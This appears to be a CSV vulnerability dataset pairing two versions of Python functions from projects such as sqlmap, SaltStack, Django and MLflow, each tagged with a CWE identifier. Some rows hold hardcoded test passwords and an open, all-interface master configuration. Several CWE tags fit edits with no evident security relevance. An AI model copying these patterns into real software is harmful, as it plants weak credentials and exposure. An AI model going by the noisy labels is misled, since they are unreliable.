                logger.error(errMsg)
                raise SystemExit

            elif ""can't start new thread"" in excMsg:
                errMsg = ""there has been a problem while creating new thread instance. ""
                errMsg += ""Please make sure that you are not running too many processes""
                if not IS_WIN:
                    errMsg += "" (or increase the 'ulimit -u' value)""
                logger.error(errMsg)
                raise SystemExit

            elif ""'DictObject' object has no attribute '"" in excMsg and all(_ in errMsg for _ in (""(fingerprinted)"", ""(identified)"")):
                errMsg = ""there has been a problem in enumeration. ""
                errMsg += ""Because of a considerable chance of false-positive case ""
                errMsg += ""you are advised to rerun with switch '--flush-session'""
                logger.error(errMsg)
                raise SystemExit

            elif all(_ in excMsg for _ in (""pymysql"", ""configparser"")):
                errMsg = ""wrong initialization of pymsql detected (using Python3 dependencies)""
                logger.error(errMsg)
                raise SystemExit

            elif ""bad marshal data (unknown type code)"" in excMsg:
                match = re.search(r""\s*(.+)\s+ValueError"", excMsg)
                errMsg = ""one of your .pyc files are corrupted%s"" % ("" ('%s')"" % match.group(1) if match else """")
                errMsg += "". Please delete .pyc files on your system to fix the problem""
                logger.error(errMsg)
                raise SystemExit

            elif ""url = url.strip()"" in excMsg:
                dataToStdout(excMsg)
                print
                errMsg = ""please contact 'miroslav@sqlmap.org' with details for this issue ""
                errMsg += ""as he is trying to reproduce it for long time""
                logger.error(errMsg)
                raise SystemExit

            elif ""valueStack.pop"" in excMsg and kb.get(""dumpKeyboardInterrupt""):
                raise SystemExit

            elif any(_ in excMsg for _ in (""Broken pipe"",)):
                raise SystemExit

            for match in re.finditer(r'File ""(.+?)"", line', excMsg):
                file_ = match.group(1)
                file_ = os.path.relpath(file_, os.path.dirname(__file__))
                file_ = file_.replace(""\\"", '/')
                file_ = re.sub(r""\.\./"", '/', file_).lstrip('/')
                excMsg = excMsg.replace(match.group(1), file_)

            errMsg = maskSensitiveData(errMsg)
            excMsg = maskSensitiveData(excMsg)

            if conf.get(""api"") or not valid:
                logger.critical(""%s\n%s"" % (errMsg, excMsg))
            else:
                logger.critical(errMsg)
                kb.stickyLevel = logging.CRITICAL
                dataToStdout(excMsg)
                createGithubIssue(errMsg, excMsg)

        except KeyboardInterrupt:
            pass

    finally:
        kb.threadContinue = False

        if conf.get(""showTime""):
            dataToStdout(""\n[*] shutting down at %s\n\n"" % time.strftime(""%X""), forceOutput=True)

        kb.threadException = True

        if kb.get(""tempDir""):
            for prefix in (MKSTEMP_PREFIX.IPC, MKSTEMP_PREFIX.TESTING, MKSTEMP_PREFIX.COOKIE_JAR, MKSTEMP_PREFIX.BIG_ARRAY):
                for filepath in glob.glob(os.path.join(kb.tempDir, ""%s*"" % prefix)):
                    try:
                        os.remove(filepath)
                    except OSError:
                        pass
            if not filter(None, (filepath for filepath in glob.glob(os.path.join(kb.tempDir, '*')) if not any(filepath.endswith(_) for _ in ('.lock', '.exe', '_')))):
                shutil.rmtree(kb.tempDir, ignore_errors=True)

        if conf.get(""hashDB""):
            try:
                conf.hashDB.flush(True)
            except KeyboardInterrupt:
                pass

        if conf.get(""harFile""):
            with openFile(conf.harFile, ""w+b"") as f:
                json.dump(conf.httpCollector.obtain(), fp=f, indent=4, separators=(',', ': '))

        if cmdLineOptions.get(""sqlmapShell""):
            cmdLineOptions.clear()
            conf.clear()
            kb.clear()
            main()

        if conf.get(""api""):
            try:
                conf.databaseCursor.disconnect()
            except KeyboardInterrupt:
                pass

        if conf.get(""dumper""):
            conf.dumper.flush()

        # short delay for thread finalization
        try:
            _ = time.time()
            while threading.activeCount() > 1 and (time.time() - _) > THREAD_FINALIZATION_TIMEOUT:
                time.sleep(0.01)
        except KeyboardInterrupt:
            pass
        finally:
            # Reference: http://stackoverflow.com/questions/1635080/terminate-a-multi-thread-python-program
            if threading.activeCount() > 1:
                os._exit(0)"
,UNKNOWN,UNKNOWN,tests/unit/utils/test_network.py,1,"def test__generate_minion_id_with_unicode_in_etc_hosts(self):
        '''
        Test that unicode in /etc/hosts doesn't raise an error when
        _generate_minion_id() helper is called to gather the hosts.
        '''
        content = textwrap.dedent('''\
        # 以下为主机名解析
        ## ccc
        127.0.0.1       localhost thisismyhostname     # 本机
        ''')
        fopen_mock = mock_open(read_data={'/etc/hosts': content})
        with patch('salt.utils.files.fopen', fopen_mock):
            assert 'thisismyhostname' in network._generate_minion_id()",CWE-703,saltstack/salt,1a4e307c0d305b2c13703f6f13a7d021aab98275,"def test__generate_minion_id_with_unicode_in_etc_hosts(self):
        '''
        Test that unicode in /etc/hosts doesn't raise an error when
        _generate_minion_id() helper is called to gather the hosts.
        '''
        content = textwrap.dedent('''\
        # 以下为主机名解析
        ## ccc
        127.0.0.1       localhost thisismyhostname     # 本机
        ''')
        fopen_mock = mock_open(read_data={'/etc/hosts': content})
        with patch('salt.utils.files.fopen', fopen_mock):
            assert 'thisismyhostname' in network._generate_minion_id()"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/modules/crypto/openssl_csr.py,0,"def _check_signature(csr):
            try:
                return csr.verify(self.privatekey)
            except crypto.Error:
                return False",,ansible/ansible,90c067e9475ec760fd81d62b23f8a9f98c0405c9,"def _check_signature(csr):
            try:
                return csr.verify(self.privatekey)
            except crypto.Error:
                return False"
,UNKNOWN,UNKNOWN,django/db/models/query.py,1,"def bulk_create(self, objs, batch_size=None):
        """"""
        Inserts each of the instances into the database. This does *not* call
        save() on each of the instances, does not send any pre/post save
        signals, and does not set the primary key attribute if it is an
        autoincrement field.
        """"""
        # So this case is fun. When you bulk insert you don't get the primary
        # keys back (if it's an autoincrement), so you can't insert into the
        # child tables which references this. There are two workarounds, 1)
        # this could be implemented if you didn't have an autoincrement pk,
        # and 2) you could do it by doing O(n) normal inserts into the parent
        # tables to get the primary keys back, and then doing a single bulk
        # insert into the childmost table. Some databases might allow doing
        # this by using RETURNING clause for the insert query. We're punting
        # on these for now because they are relatively rare cases.
        assert batch_size is None or batch_size > 0
        if self.model._meta.parents:
            raise ValueError(""Can't bulk create an inherited model"")
        if not objs:
            return objs
        self._for_write = True
        connection = connections[self.db]
        fields = self.model._meta.local_fields
        with transaction.commit_on_success_unless_managed(using=self.db):
            if (connection.features.can_combine_inserts_with_and_without_auto_increment_pk
                    and self.model._meta.has_auto_field):
                self._batched_insert(objs, fields, batch_size)
            else:
                objs_with_pk, objs_without_pk = partition(lambda o: o.pk is None, objs)
                if objs_with_pk:
                    self._batched_insert(objs_with_pk, fields, batch_size)
                if objs_without_pk:
                    fields = [f for f in fields if not isinstance(f, AutoField)]
                    self._batched_insert(objs_without_pk, fields, batch_size)

        return objs",CWE-703,django/django,7477a4ffde4781f4e84503e66d7f775074089887,"def bulk_create(self, objs, batch_size=None):
        """"""
        Inserts each of the instances into the database. This does *not* call
        save() on each of the instances, does not send any pre/post save
        signals, and does not set the primary key attribute if it is an
        autoincrement field.
        """"""
        # So this case is fun. When you bulk insert you don't get the primary
        # keys back (if it's an autoincrement), so you can't insert into the
        # child tables which references this. There are two workarounds, 1)
        # this could be implemented if you didn't have an autoincrement pk,
        # and 2) you could do it by doing O(n) normal inserts into the parent
        # tables to get the primary keys back, and then doing a single bulk
        # insert into the childmost table. Some databases might allow doing
        # this by using RETURNING clause for the insert query. We're punting
        # on these for now because they are relatively rare cases.
        assert batch_size is None or batch_size > 0
        if self.model._meta.parents:
            raise ValueError(""Can't bulk create an inherited model"")
        if not objs:
            return objs
        self._for_write = True
        connection = connections[self.db]
        fields = self.model._meta.local_fields
        with transaction.commit_on_success_unless_managed(using=self.db):
            if (connection.features.can_combine_inserts_with_and_without_auto_increment_pk
                and self.model._meta.has_auto_field):
                self._batched_insert(objs, fields, batch_size)
            else:
                objs_with_pk, objs_without_pk = partition(lambda o: o.pk is None, objs)
                if objs_with_pk:
                    self._batched_insert(objs_with_pk, fields, batch_size)
                if objs_without_pk:
                    fields = [f for f in fields if not isinstance(f, AutoField)]
                    self._batched_insert(objs_without_pk, fields, batch_size)

        return objs"
,UNKNOWN,UNKNOWN,tests/pipelines/test_evaluate_step.py,1,"def test_evaluate_step_run(
    tmp_pipeline_root_path: Path, tmp_pipeline_exec_path: Path, mae_threshold: int
):
    evaluate_step_output_dir = tmp_pipeline_exec_path.joinpath(""steps"", ""evaluate"", ""outputs"")
    evaluate_step_output_dir.mkdir(parents=True)

    pipeline_yaml = tmp_pipeline_root_path.joinpath(_PIPELINE_CONFIG_FILE_NAME)
    pipeline_yaml.write_text(
        """"""
template: ""regression/v1""
target_col: ""y""
experiment:
  tracking_uri: {tracking_uri}
steps:
  evaluate:
    validation_criteria:
      - metric: root_mean_squared_error
        threshold: 1_000_000
      - metric: mean_absolute_error
        threshold: {mae_threshold}
      - metric: weighted_mean_squared_error
        threshold: 1_000_000
custom_metrics:
  - name: weighted_mean_squared_error
    function: weighted_mean_squared_error
    greater_is_better: False
"""""".format(
            tracking_uri=mlflow.get_tracking_uri(),
            mae_threshold=mae_threshold,
        )
    )
    pipeline_steps_dir = tmp_pipeline_root_path.joinpath(""steps"")
    pipeline_steps_dir.mkdir(parents=True)
    pipeline_steps_dir.joinpath(""custom_metrics.py"").write_text(
        """"""
def weighted_mean_squared_error(eval_df, builtin_metrics):
    from sklearn.metrics import mean_squared_error

    return mean_squared_error(
        eval_df[""prediction""],
        eval_df[""target""],
        sample_weight=1 / eval_df[""prediction""].values,
    )
""""""
    )
    pipeline_config = read_yaml(tmp_pipeline_root_path, _PIPELINE_CONFIG_FILE_NAME)
    evaluate_step = EvaluateStep.from_pipeline_config(pipeline_config, str(tmp_pipeline_root_path))
    evaluate_step.run(str(evaluate_step_output_dir))

    logged_metrics = (
        mlflow.tracking.MlflowClient().get_run(mlflow.last_active_run().info.run_id).data.metrics
    )
    assert ""test_weighted_mean_squared_error"" in logged_metrics
    model_validation_status_path = evaluate_step_output_dir.joinpath(""model_validation_status"")
    assert model_validation_status_path.exists()
    expected_status = ""REJECTED"" if mae_threshold < 0 else ""VALIDATED""
    assert model_validation_status_path.read_text() == expected_status",CWE-703,mlflow/mlflow,6bddc546abb9001120fe09a1329e53b8eafcaf8f,"def test_evaluate_step_run(
    tmp_pipeline_root_path: Path, tmp_pipeline_exec_path: Path, mae_threshold: int
):
    evaluate_step_output_dir = tmp_pipeline_exec_path.joinpath(""steps"", ""evaluate"", ""outputs"")
    evaluate_step_output_dir.mkdir(parents=True)

    pipeline_yaml = tmp_pipeline_root_path.joinpath(_PIPELINE_CONFIG_FILE_NAME)
    pipeline_yaml.write_text(
        """"""
template: ""regression/v1""
target_col: ""y""
experiment:
  tracking_uri: {tracking_uri}
steps:
  evaluate:
    validation_criteria:
      - metric: root_mean_squared_error
        threshold: 1_000_000
      - metric: mean_absolute_error
        threshold: {mae_threshold}
      - metric: weighted_mean_squared_error
        threshold: 1_000_000
custom_metrics:
  - name: weighted_mean_squared_error
    function: weighted_mean_squared_error
    greater_is_better: False
"""""".format(
            tracking_uri=mlflow.get_tracking_uri(),
            mae_threshold=mae_threshold,
        )
    )
    pipeline_steps_dir = tmp_pipeline_root_path.joinpath(""steps"")
    pipeline_steps_dir.mkdir(parents=True)
    pipeline_steps_dir.joinpath(""custom_metrics.py"").write_text(
        """"""
def weighted_mean_squared_error(eval_df, builtin_metrics):
    from sklearn.metrics import mean_squared_error

    return mean_squared_error(
        eval_df[""prediction""],
        eval_df[""target""],
        sample_weight=1 / eval_df[""prediction""].values,
    )
""""""
    )
    pipeline_config = read_yaml(tmp_pipeline_root_path, _PIPELINE_CONFIG_FILE_NAME)
    evaluate_step = EvaluateStep.from_pipeline_config(pipeline_config, str(tmp_pipeline_root_path))
    evaluate_step.run(str(evaluate_step_output_dir))

    logged_metrics = (
        mlflow.tracking.MlflowClient().get_run(mlflow.last_active_run().info.run_id).data.metrics
    )
    assert ""weighted_mean_squared_error"" in logged_metrics
    model_validation_status_path = evaluate_step_output_dir.joinpath(""model_validation_status"")
    assert model_validation_status_path.exists()
    expected_status = ""REJECTED"" if mae_threshold < 0 else ""VALIDATED""
    assert model_validation_status_path.read_text() == expected_status"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,IPython/html/widgets/widget.py,0,"def on_msg(self, callback, remove=False):
        """"""(Un)Register a custom msg receive callback.

        Parameters
        ----------
        callback: callable
            callback will be passed two arguments when a message arrives::
            
                callback(widget, content)
            
        remove: bool
            True if the callback should be unregistered.""""""
        self._msg_callbacks.register_callback(callback, remove=remove)",,jupyter/notebook,c633256fc94270f5a8e7584f26cd63134e2756dc,"def on_msg(self, callback, remove=False):
        """"""(Un)Register a custom msg receive callback.

        Parameters
        ----------
        callback: callable
            callback will be passed two arguments when a message arrives:
                callback(widget, content)
        remove: bool
            True if the callback should be unregistered.""""""
        self._msg_callbacks.register_callback(callback, remove=remove)"
,UNKNOWN,UNKNOWN,tests/admin_views/tests.py,1,"def setUpTestData(cls):
        cls.superuser = User.objects.create_superuser(username='super', password='secret', email='super@example.com')
        cls.s1 = Section.objects.create(name='Test section')
        cls.a1 = Article.objects.create(
            content='<p>Middle content</p>',
            date=datetime.datetime(2008, 3, 18, 11, 54, 58),
            section=cls.s1,
            title='Article 1',
        )
        cls.a2 = Article.objects.create(
            content='<p>Oldest content</p>',
            date=datetime.datetime(2000, 3, 18, 11, 54, 58),
            section=cls.s1,
            title='Article 2',
        )
        cls.a3 = Article.objects.create(
            content='<p>Newest content</p>', date=datetime.datetime(2009, 3, 18, 11, 54, 58), section=cls.s1
        )
        cls.p1 = PrePopulatedPost.objects.create(title='A Long Title', published=True, slug='a-long-title')
        cls.color1 = Color.objects.create(value='Red', warm=True)
        cls.color2 = Color.objects.create(value='Orange', warm=True)
        cls.color3 = Color.objects.create(value='Blue', warm=False)
        cls.color4 = Color.objects.create(value='Green', warm=False)
        cls.fab1 = Fabric.objects.create(surface='x')
        cls.fab2 = Fabric.objects.create(surface='y')
        cls.fab3 = Fabric.objects.create(surface='plain')
        cls.b1 = Book.objects.create(name='Book 1')
        cls.b2 = Book.objects.create(name='Book 2')
        cls.pro1 = Promo.objects.create(name='Promo 1', book=cls.b1)
        cls.pro1 = Promo.objects.create(name='Promo 2', book=cls.b2)
        cls.chap1 = Chapter.objects.create(title='Chapter 1', content='[ insert contents here ]', book=cls.b1)
        cls.chap2 = Chapter.objects.create(title='Chapter 2', content='[ insert contents here ]', book=cls.b1)
        cls.chap3 = Chapter.objects.create(title='Chapter 1', content='[ insert contents here ]', book=cls.b2)
        cls.chap4 = Chapter.objects.create(title='Chapter 2', content='[ insert contents here ]', book=cls.b2)
        cls.cx1 = ChapterXtra1.objects.create(chap=cls.chap1, xtra='ChapterXtra1 1')
        cls.cx2 = ChapterXtra1.objects.create(chap=cls.chap3, xtra='ChapterXtra1 2')
        Actor.objects.create(name='Palin', age=27)

        # Post data for edit inline
        cls.inline_post_data = {
            ""name"": ""Test section"",
            # inline data
            ""article_set-TOTAL_FORMS"": ""6"",
            ""article_set-INITIAL_FORMS"": ""3"",
            ""article_set-MAX_NUM_FORMS"": ""0"",
            ""article_set-0-id"": cls.a1.pk,
            # there is no title in database, give one here or formset will fail.
            ""article_set-0-title"": ""Norske bostaver æøå skaper problemer"",
            ""article_set-0-content"": ""&lt;p&gt;Middle content&lt;/p&gt;"",
            ""article_set-0-date_0"": ""2008-03-18"",
            ""article_set-0-date_1"": ""11:54:58"",
            ""article_set-0-section"": cls.s1.pk,
            ""article_set-1-id"": cls.a2.pk,
            ""article_set-1-title"": ""Need a title."",
            ""article_set-1-content"": ""&lt;p&gt;Oldest content&lt;/p&gt;"",
            ""article_set-1-date_0"": ""2000-03-18"",
            ""article_set-1-date_1"": ""11:54:58"",
            ""article_set-2-id"": cls.a3.pk,
            ""article_set-2-title"": ""Need a title."",
            ""article_set-2-content"": ""&lt;p&gt;Newest content&lt;/p&gt;"",
            ""article_set-2-date_0"": ""2009-03-18"",
            ""article_set-2-date_1"": ""11:54:58"",
            ""article_set-3-id"": """",
            ""article_set-3-title"": """",
            ""article_set-3-content"": """",
            ""article_set-3-date_0"": """",
            ""article_set-3-date_1"": """",
            ""article_set-4-id"": """",
            ""article_set-4-title"": """",
            ""article_set-4-content"": """",
            ""article_set-4-date_0"": """",
            ""article_set-4-date_1"": """",
            ""article_set-5-id"": """",
            ""article_set-5-title"": """",
            ""article_set-5-content"": """",
            ""article_set-5-date_0"": """",
            ""article_set-5-date_1"": """",
        }",CWE-259,django/django,84609b3205905097d7d3038d32e6101f012c0619,"def setUpTestData(cls):
        cls.superuser = User.objects.create_superuser(username='super', password='secret', email='super@example.com')
        cls.s1 = Section.objects.create(name='Test section')
        cls.a1 = Article.objects.create(
            content='<p>Middle content</p>', date=datetime.datetime(2008, 3, 18, 11, 54, 58), section=cls.s1
        )
        cls.a2 = Article.objects.create(
            content='<p>Oldest content</p>', date=datetime.datetime(2000, 3, 18, 11, 54, 58), section=cls.s1
        )
        cls.a3 = Article.objects.create(
            content='<p>Newest content</p>', date=datetime.datetime(2009, 3, 18, 11, 54, 58), section=cls.s1
        )
        cls.p1 = PrePopulatedPost.objects.create(title='A Long Title', published=True, slug='a-long-title')
        cls.color1 = Color.objects.create(value='Red', warm=True)
        cls.color2 = Color.objects.create(value='Orange', warm=True)
        cls.color3 = Color.objects.create(value='Blue', warm=False)
        cls.color4 = Color.objects.create(value='Green', warm=False)
        cls.fab1 = Fabric.objects.create(surface='x')
        cls.fab2 = Fabric.objects.create(surface='y')
        cls.fab3 = Fabric.objects.create(surface='plain')
        cls.b1 = Book.objects.create(name='Book 1')
        cls.b2 = Book.objects.create(name='Book 2')
        cls.pro1 = Promo.objects.create(name='Promo 1', book=cls.b1)
        cls.pro1 = Promo.objects.create(name='Promo 2', book=cls.b2)
        cls.chap1 = Chapter.objects.create(title='Chapter 1', content='[ insert contents here ]', book=cls.b1)
        cls.chap2 = Chapter.objects.create(title='Chapter 2', content='[ insert contents here ]', book=cls.b1)
        cls.chap3 = Chapter.objects.create(title='Chapter 1', content='[ insert contents here ]', book=cls.b2)
        cls.chap4 = Chapter.objects.create(title='Chapter 2', content='[ insert contents here ]', book=cls.b2)
        cls.cx1 = ChapterXtra1.objects.create(chap=cls.chap1, xtra='ChapterXtra1 1')
        cls.cx2 = ChapterXtra1.objects.create(chap=cls.chap3, xtra='ChapterXtra1 2')
        Actor.objects.create(name='Palin', age=27)

        # Post data for edit inline
        cls.inline_post_data = {
            ""name"": ""Test section"",
            # inline data
            ""article_set-TOTAL_FORMS"": ""6"",
            ""article_set-INITIAL_FORMS"": ""3"",
            ""article_set-MAX_NUM_FORMS"": ""0"",
            ""article_set-0-id"": cls.a1.pk,
            # there is no title in database, give one here or formset will fail.
            ""article_set-0-title"": ""Norske bostaver æøå skaper problemer"",
            ""article_set-0-content"": ""&lt;p&gt;Middle content&lt;/p&gt;"",
            ""article_set-0-date_0"": ""2008-03-18"",
            ""article_set-0-date_1"": ""11:54:58"",
            ""article_set-0-section"": cls.s1.pk,
            ""article_set-1-id"": cls.a2.pk,
            ""article_set-1-title"": ""Need a title."",
            ""article_set-1-content"": ""&lt;p&gt;Oldest content&lt;/p&gt;"",
            ""article_set-1-date_0"": ""2000-03-18"",
            ""article_set-1-date_1"": ""11:54:58"",
            ""article_set-2-id"": cls.a3.pk,
            ""article_set-2-title"": ""Need a title."",
            ""article_set-2-content"": ""&lt;p&gt;Newest content&lt;/p&gt;"",
            ""article_set-2-date_0"": ""2009-03-18"",
            ""article_set-2-date_1"": ""11:54:58"",
            ""article_set-3-id"": """",
            ""article_set-3-title"": """",
            ""article_set-3-content"": """",
            ""article_set-3-date_0"": """",
            ""article_set-3-date_1"": """",
            ""article_set-4-id"": """",
            ""article_set-4-title"": """",
            ""article_set-4-content"": """",
            ""article_set-4-date_0"": """",
            ""article_set-4-date_1"": """",
            ""article_set-5-id"": """",
            ""article_set-5-title"": """",
            ""article_set-5-content"": """",
            ""article_set-5-date_0"": """",
            ""article_set-5-date_1"": """",
        }"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/providers/slack/operators/slack.py,0,"def construct_api_call_params(self):
        self.api_params = {
            'channel': self.channel,
            'username': self.username,
            'text': self.text,
            'icon_url': self.icon_url,
            'attachments': json.dumps(self.attachments),
            'blocks': json.dumps(self.blocks),
        }",CWE-Unknown,apache/airflow,5cf46fad1e0a9cdde213258b2064e16d30d3160e,"def construct_api_call_params(self):
        self.api_params = {
            'channel': self.channel,
            'username': self.username,
            'text': self.text,
            'icon_url': self.icon_url,
            'attachments': json.dumps(self.attachments),
            'blocks': json.dumps(self.blocks),
        }"
,UNKNOWN,UNKNOWN,tests/integration/states/test_pip_state.py,1,"def test_issue_6912_wrong_owner(self, temp_dir, username):
        # Setup virtual environment directory to be used throughout the test
        venv_dir = os.path.join(temp_dir, '6912-wrong-owner')

        # The virtual environment needs to be in a location that is accessible
        # by both the user running the test and the runas user
        if salt.utils.is_windows():
            salt.utils.win_dacl.set_permissions(temp_dir, username, 'full_control')
        else:
            uid = self.run_function('file.user_to_uid', [username])
            os.chown(temp_dir, uid, -1)

        # Create the virtual environment
        venv_create = self.run_function(
            'virtualenv.create', [venv_dir], user=username,
            password='PassWord1!')
        if venv_create['retcode'] > 0:
            self.skipTest('Failed to create testcase virtual environment: {0}'
                          ''.format(venv_create))

        # pip install passing the package name in `name`
        ret = self.run_state(
            'pip.installed', name='pep8', user=username, bin_env=venv_dir,
            password='PassWord1!')
        self.assertSaltTrueReturn(ret)

        if HAS_PWD:
            uid = pwd.getpwnam(username).pw_uid
        for globmatch in (os.path.join(venv_dir, '**', 'pep8*'),
                          os.path.join(venv_dir, '*', '**', 'pep8*'),
                          os.path.join(venv_dir, '*', '*', '**', 'pep8*')):
            for path in glob.glob(globmatch):
                if HAS_PWD:
                    self.assertEqual(uid, os.stat(path).st_uid)
                elif salt.utils.is_windows():
                    self.assertEqual(
                        salt.utils.win_dacl.get_owner(path), username)",CWE-259,saltstack/salt,291d3d3bd839d8d1dd371830ed8f760e1326c0d0,"def test_issue_6912_wrong_owner(self, temp_dir, username):
        # Setup virtual environment directory to be used throughout the test
        venv_dir = os.path.join(temp_dir, '6912-wrong-owner')

        # The virtual environment needs to be in a location that is accessible
        # by both the user running the test and the runas user
        if salt.utils.is_windows():
            salt.utils.win_dacl.set_permissions(temp_dir, username, 'full_control')
        else:
            uid = self.run_function('file.user_to_uid', [username])
            os.chown(temp_dir, uid, -1)

        # Create the virtual environment
        venv_create = self.run_function(
            'virtualenv.create', [venv_dir], user=username,
            password='PassWord1!')
        if venv_create['retcode'] > 0:
            self.skipTest('Failed to create testcase virtual environment: {0}'
                          ''.format(venv_create))

        # pip install passing the package name in `name`
        ret = self.run_state(
            'pip.installed', name='pep8', user=username, bin_env=venv_dir,
            no_cache_dir=True, password='PassWord1!')
        self.assertSaltTrueReturn(ret)

        if HAS_PWD:
            uid = pwd.getpwnam(username).pw_uid
        for globmatch in (os.path.join(venv_dir, '**', 'pep8*'),
                          os.path.join(venv_dir, '*', '**', 'pep8*'),
                          os.path.join(venv_dir, '*', '*', '**', 'pep8*')):
            for path in glob.glob(globmatch):
                if HAS_PWD:
                    self.assertEqual(uid, os.stat(path).st_uid)
                elif salt.utils.is_windows():
                    self.assertEqual(
                        salt.utils.win_dacl.get_owner(path), username)"
,UNKNOWN,UNKNOWN,tests/integration/scheduler/test_skip.py,1,"def test_skip(self):
        '''
        verify that scheduled job is skipped at the specified time
        '''
        job = {
          'schedule': {
            'job1': {
              'function': 'test.ping',
              'when': ['11/29/2017 4pm', '11/29/2017 5pm'],
            }
          }
        }

        # Add job to schedule
        self.schedule.opts.update(job)

        run_time = int(time.mktime(dateutil_parser.parse('11/29/2017 4:00pm').timetuple()))
        self.schedule.skip_job('job1', {'time': run_time})

        # Run 11/29/2017 at 4pm
        self.schedule.eval(now=run_time)
        ret = self.schedule.job_status('job1')
        self.assertNotIn('_last_run', ret)

        # Run 11/29/2017 at 5pm
        run_time = int(time.mktime(dateutil_parser.parse('11/29/2017 5:00pm').timetuple()))
        self.schedule.eval(now=run_time)
        ret = self.schedule.job_status('job1')
        self.assertEqual(ret['_last_run'], run_time)",CWE-94,saltstack/salt,5064e63fdf03fe653f7a8f2f73b7f6bf17372931,"def test_skip(self):
        '''
        verify that scheduled job is skipped at the specified time
        '''
        job = {
          'schedule': {
            'job1': {
              'function': 'test.ping',
              'when': ['11/29/2017 4pm', '11/29/2017 5pm'],
            }
          }
        }

        # Add job to schedule
        self.schedule.opts.update(job)

        run_time = int(time.mktime(dateutil_parser.parse('11/29/2017 4:00pm').timetuple()))
        self.schedule.skip_job('job1', {'time': run_time})

        # Run 11/29/2017 at 4pm
        self.schedule.eval(now=run_time)
        ret = self.schedule.job_status('job1')
        log.debug('=== ret {} ==='.format(ret))
        self.assertNotIn('_last_run', ret)

        # Run 11/29/2017 at 5pm
        run_time = int(time.mktime(dateutil_parser.parse('11/29/2017 5:00pm').timetuple()))
        self.schedule.eval(now=run_time)
        ret = self.schedule.job_status('job1')
        log.debug('=== ret {} ==='.format(ret))
        self.assertEqual(ret['_last_run'], run_time)"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/linux/slab_info.py,0,"def get_kmem_cache(self, cache_name, unalloc, struct_name=""""):
        
        if struct_name == """":
            struct_name = cache_name
 
        for cache in self.get_all_kmem_caches():
            if cache.get_name() == cache_name:
                cache.newattr(""unalloc"", unalloc)
                cache.newattr(""struct_type"", struct_name)
                return cache
        
        debug.debug(""Invalid kmem_cache: {0}"".format(cache_name))
        return []",,volatilityfoundation/volatility,89850fb8cec55bf3be34d4dbce58e44e148d39cf,"def get_kmem_cache(self, cache_name, unalloc, struct_name=""""):
        
        if struct_name == """":
            struct_name = cache_name
 
        for cache in self.get_all_kmem_caches():
            if cache.get_name() == cache_name:
                cache.newattr(""unalloc"", unalloc)
                cache.newattr(""struct_type"", struct_name)
                return cache
        
        debug.debug(""Invalid kmem_cache: {0}"".format(name))
        return []"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/utils/http.py,0,"def same_origin(url1, url2):
    """"""
    Checks if two URLs are 'same-origin'
    """"""
    p1, p2 = urllib_parse.urlparse(url1), urllib_parse.urlparse(url2)
    return (p1.scheme, p1.hostname, p1.port) == (p2.scheme, p2.hostname, p2.port)",CWE-Unknown,django/django,fce1fa0f7fb984d4e76eb81ffc3cb9826046c3b5,"def same_origin(url1, url2):
    """"""
    Checks if two URLs are 'same-origin'
    """"""
    p1, p2 = urllib_parse.urlparse(url1), urllib_parse.urlparse(url2)
    return (p1.scheme, p1.hostname, p1.port) == (p2.scheme, p2.hostname, p2.port)"
,UNKNOWN,UNKNOWN,tests/pytests/scenarios/performance/test_performance.py,1,"def prev_master(
    request,
    salt_factories,
    host_docker_network_ip_address,
    docker_network_name,
    prev_version,
    prev_master_id,
    prev_container_image,
):
    root_dir = salt_factories.get_root_dir_for_daemon(prev_master_id)
    conf_dir = root_dir / ""conf""
    conf_dir.mkdir(exist_ok=True)

    config_defaults = {
        ""root_dir"": str(root_dir),
        ""transport"": request.config.getoption(""--transport""),
        ""user"": ""root"",
    }
    config_overrides = {
        ""open_mode"": True,
        ""interface"": ""0.0.0.0"",
        ""publish_port"": ports.get_unused_localhost_port(),
        ""ret_port"": ports.get_unused_localhost_port(),
        ""log_level_logfile"": ""quiet"",
        ""pytest-master"": {
            ""log"": {""host"": host_docker_network_ip_address},
            ""returner_address"": {""host"": host_docker_network_ip_address},
        },
    }

    factory = salt_factories.salt_master_daemon(
        prev_master_id,
        name=prev_master_id,
        defaults=config_defaults,
        overrides=config_overrides,
        factory_class=SaltMaster,
        base_script_args=[""--log-level=debug""],
        image=prev_container_image,
        container_run_kwargs={
            ""network"": docker_network_name,
            ""hostname"": prev_master_id,
            ""volumes"": {
                str(CODE_DIR): {""bind"": ""/salt"", ""mode"": ""z""},
            },
        },
        start_timeout=120,
        max_start_attempts=3,
        pull_before_start=False,
        skip_on_pull_failure=True,
        skip_if_docker_client_not_connectable=True,
    )
    factory.before_start(_install_salt_in_container, factory)
    with factory.started():
        yield factory",CWE-605,saltstack/salt,7b74517da5dff5557dcd114ddeb3bab76f6c1384,"def prev_master(
    request,
    salt_factories,
    host_docker_network_ip_address,
    docker_network_name,
    prev_version,
    prev_master_id,
    prev_container_image,
):
    root_dir = salt_factories.get_root_dir_for_daemon(prev_master_id)
    conf_dir = root_dir / ""conf""
    conf_dir.mkdir(exist_ok=True)

    config_defaults = {
        ""root_dir"": str(root_dir),
        ""transport"": request.config.getoption(""--transport""),
        ""user"": ""root"",
    }
    config_overrides = {
        ""open_mode"": True,
        ""interface"": ""0.0.0.0"",
        ""publish_port"": ports.get_unused_localhost_port(),
        ""ret_port"": ports.get_unused_localhost_port(),
        ""log_level_logfile"": ""quiet"",
        ""pytest-master"": {
            ""log"": {""host"": host_docker_network_ip_address},
            ""returner_address"": {""host"": host_docker_network_ip_address},
        },
    }

    factory = salt_factories.salt_master_daemon(
        prev_master_id,
        name=prev_master_id,
        defaults=config_defaults,
        overrides=config_overrides,
        factory_class=SaltMaster,
        base_script_args=[""--log-level=debug""],
        image=prev_container_image,
        container_run_kwargs={
            ""network"": docker_network_name,
            ""hostname"": prev_master_id,
        },
        start_timeout=120,
        max_start_attempts=3,
        pull_before_start=False,
        skip_on_pull_failure=True,
        skip_if_docker_client_not_connectable=True,
    )
    with factory.started():
        yield factory"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow-core/src/airflow/api_fastapi/core_api/datamodels/dags.py,0,"def get_owners(cls, v: Any) -> list[str] | None:
        """"""Convert owners attribute to DAG representation.""""""
        if not (v is None or isinstance(v, str)):
            return v

        if v is None:
            return []
        if isinstance(v, str):
            return v.split("","")
